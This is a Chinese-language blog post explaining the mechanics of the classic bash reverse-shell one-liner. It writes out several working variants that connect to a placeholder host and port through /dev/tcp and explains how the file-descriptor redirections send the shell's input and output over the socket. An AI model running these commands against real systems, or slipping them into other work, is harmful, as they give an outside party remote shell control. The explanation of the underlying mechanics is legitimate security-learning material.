bash 反弹shell
下边是一段熟悉而又陌生的代码,经常被用来在linux环境下反弹shell
1 | bash -i >& /dev/tcp/host/port 0>&1 |
然而长时间以来对它的原理一直是似懂非懂,于是就抽时间研究了一下
用到的特殊文件介绍
1
2 >/dev/tcp/host/port
>
当操作上边文件时, bash 会打开一个与文件关联的socket,读写文件就相当于对socket连接进行读写操作。
在执行一个命令之前,bash shell会把标准输入输出重定向到特殊的文件描述符
- 文件描述符0 表示标准输入
- 文件描述符1 表示标准输出
- 文件描述符2 表示标准错误
反弹shell语句里边用到了 “>&” 操作符,“>&” 操作符在不同情况下有不通的含义
- 在“>&word”语法中,当word不是数字或“-”字符时,“>&”表示标准输出和标准错误重定向到文件,此时与操作符“&>”功能一样。
- 在“>&word”语法中,当word是数字或“-”字符时,操作符“>&”表示复制输出文件描述符
仅有代码”bash -i”时输入输出状态
0代表标准输入,1代表标准输出,2代表标准错误
1 | 标准输入、标准输出和标准错误 全部指向shell(此状态定义为状态A) |
命令“>& /dev/tcp/host/port”是对标准输出和标准错误的重定向,此时的输入输出状态
1 | 标准输入指向shell,标准输出和标准错误指向socket连接文件(此状态定义为状态B) |
因此执行命令“bash -i >& /dev/tcp/host/port”时将标准输出和标准错误进行了重定向,使标准输出和标准错误指向socket连接文件,标准输入指向原有shell不变。
使用命令“bash -i >& /dev/tcp/host/port”还不能反弹shell,因为此时的输入还是指向shell,此时会出现在被控端(执行反弹shell命令的终端)执行命令,在控制端(监听端口的终端)回显得现象,具体大家可以看一下视频,然后自己测试一下。
命令“0>&1”是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置,此时1[标准输出]指向的是socket连接文件,重定向完成后,0[标准输入]也指向了socket连接文件,状态如下
在状态B时,2[标准错误]指向的也是socket连接文件,因此命令”0>&2”与“0>&1”执行完后结果是一样的,所以反弹shell命令可以写成“bash -i >& /dev/tcp/host/port 0>&2”
1 | 标准输入、标准输出和标准错误全部指向socket连接文件(此状态定义为状态C) |
命令”bash -i 5<>/dev/tcp/host/port 0>&5 1>&5”也可以反弹shell
参考文档
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
http://wiki.bash-hackers.org/howto/redirection_tutorial